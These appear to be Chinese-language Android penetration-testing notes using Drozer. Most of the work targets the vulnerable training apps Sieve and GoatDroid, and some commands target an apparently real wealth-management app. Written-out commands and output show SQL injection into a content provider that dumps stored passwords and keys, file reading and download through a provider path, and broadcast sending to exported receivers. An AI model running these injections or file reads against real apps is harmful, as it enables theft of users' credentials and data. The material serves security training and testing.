# Broadcast Reciever dz> run app.broadcast.info -a com.zritc.zritcwealthmanagement dz> run app.broadcast.send --component com.zritc.zritcwealthmanagement --action com.zritc.zritcwealthmanagement.receiver.MyJPushMessageReceiver
# Content Provider dz> run scanner.provider.injection -a com.zritc.zritcwealthmanagement 检测注入 dz> run scanner.provider.traversal -a com.zritc.zritcwealthmanagement 检测目录遍历
# WebView代码执行检测 run scanner.misc.checkjavascriptbridge -a com.zritc.zritcwealthmanagement
dz> run app.broadcast.info -a org.owasp.goatdroid.fourgoats Package: org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver Permission: null
报错: root@kali:~/tools/android/AndroidTools# java -jar smali.jar /root/tools/android/AndroidTools/AppInfoScanner/out/goatdroid/smali -o AppInfoScanner/out/goatdroid/classes.dex Exception in thread "main" com.beust.jcommander.MissingCommandException: Expected a command, got /root/tools/android/AndroidTools/AppInfoScanner/out/goatdroid/smali at com.beust.jcommander.JCommander.parseValues(JCommander.java:725) at com.beust.jcommander.JCommander.parse(JCommander.java:304) at com.beust.jcommander.JCommander.parse(JCommander.java:287) at org.jf.smali.Main.main(Main.java:87) 解决方法: 使用smail-2.1.2.jar 参考文章:https://blog.csdn.net/lihonghao1017/article/details/112776892
扫描并获取Content Provider信息,并列出了可访问内容URI的列表和路径: dz> run scanner.provider.finduris -acom.mwr.example.sieve Scanning com.mwr.example.sieve... Unable to Query content://com.mwr.example.sieve.DBContentProvider/ Unable to Query content://com.mwr.example.sieve.FileBackupProvider/ Unable to Query content://com.mwr.example.sieve.DBContentProvider Able to Query content://com.mwr.example.sieve.DBContentProvider/Passwords/ Able to Query content://com.mwr.example.sieve.DBContentProvider/Keys/ Unable to Query content://com.mwr.example.sieve.FileBackupProvider Able to Query content://com.mwr.example.sieve.DBContentProvider/Passwords Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
同样content可能导致注入问题。使用以下语句进行测试发现报错,说明存在SQL注入漏洞。 dz> runapp.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'" unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELECT ' FROM Passwords dz> runapp.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'" unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
列出所有表的信息
1
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
获取具体表的信息
1 2 3
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--" | Password | pin | | testtest1234567890 | 1234 |
对注入点进行扫描
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
dz> run scanner.provider.injection -a com.mwr.example.sieve Scanning com.mwr.example.sieve... Not Vulnerable: content://com.mwr.example.sieve.DBContentProvider/Keys content://com.mwr.example.sieve.DBContentProvider/ content://com.mwr.example.sieve.FileBackupProvider/ content://com.mwr.example.sieve.DBContentProvider content://com.mwr.example.sieve.FileBackupProvider
Injection in Projection: content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection: content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider/Passwords/
列出该app的表信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
dz> run scanner.provider.sqltables -a com.mwr.example.sieve Scanning com.mwr.example.sieve... Accessible tables for uri content://com.mwr.example.sieve.DBContentProvider/Passwords/: android_metadata Passwords Key
Accessible tables for uri content://com.mwr.example.sieve.DBContentProvider/Keys/: android_metadata Passwords Key
Accessible tables for uri content://com.mwr.example.sieve.DBContentProvider/Passwords: android_metadata Passwords Key
底层文件系统读取和写入(有可能被阻止)
文件读取:
1 2 3
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts 127.0.0.1 localhost ::1 ip6-localhost
文件下载:
1 2
dz> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/etc/hosts /root/documents/pentest/apptest/ Written 56 bytes
目录遍历漏洞:
1 2 3 4 5 6 7 8 9 10 11 12 13
dz> run scanner.provider.traversal -a com.mwr.example.sieve Scanning com.mwr.example.sieve... Not Vulnerable: content://com.mwr.example.sieve.DBContentProvider/ content://com.mwr.example.sieve.DBContentProvider/Keys content://com.mwr.example.sieve.DBContentProvider/Passwords/ content://com.mwr.example.sieve.DBContentProvider/Keys/ content://com.mwr.example.sieve.DBContentProvider/Passwords content://com.mwr.example.sieve.DBContentProvider